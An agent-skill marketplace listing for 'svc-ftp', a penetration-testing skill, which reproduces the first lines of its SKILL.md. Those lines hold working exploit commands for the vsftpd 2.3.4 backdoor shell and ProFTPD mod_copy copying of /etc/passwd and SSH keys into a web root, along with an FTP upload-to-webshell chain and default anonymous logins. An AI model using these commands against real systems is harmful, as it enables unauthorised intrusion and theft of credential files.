Skip to content
Agentmart
Submit a tool

svc-ftp

FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain.

Skill by s0ld13rr

IndexedMIT★ 883
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/s0ld13rr-svc-ftp

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy.

Use cases: security-scanning

Reviews

Write a review

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/svc-ftp

What's inside

Skill name
svc-ftp
Description
FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy.
License
MIT
Instructions
24 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Agent Skills spec issues

  • name: "svc-ftp" does not match folder "ftp"

Files (1)

  • SKILL.md

SKILL.md (first lines)

# FTP — Version Exploits & Chains

## vsftpd 2.3.4 — backdoor
Send `:)` in username → backdoor shell opens on port 6200.
`echo -e "USER evil:)\nPASS anything" | nc TARGET 21` then `nc TARGET 6200`

## ProFTPD mod_copy — unauthenticated file copy
ProFTPD <1.3.5b. No login needed:
```
nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt
```
Then `curl http://TARGET/leak.txt`. Can also copy SSH keys, webshells into web roots.

## Writable FTP + web server = shell
If anonymous upload works AND a web server serves the same directory:
upload shell via FTP → trigger via HTTP.

## Anonymous login variants
Try: `anonymous`/`anonymous@`, `anonymous`/(empty), `ftp`/`ftp`.
Always `ls -la` and try `cd ..` — parent directories sometimes accessible.

From s0ld13rr/pentestcode, MIT.

More from s0ld13rr/pentestcode

Signals

Stars
883
Forks
139
Open issues
3
Last commit (this folder)
Sep 2, 2026 (1 month ago)
Last release
Oct 23, 2026 (6 days ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
Repository
github.com/s0ld13rr/pentestcode
First seen
Oct 24, 2026
Last checked
Oct 24, 2026
Source
GitHubgithub-graphql

Same skill elsewhere

Copies of this SKILL.md published by others; search shows only one of them.

More from s0ld13rr

Cite this page

svc-ftp skill. Agent Mart. https://agentmart.dev/skills/s0ld13rr-svc-ftp (last updated 2026-10-24)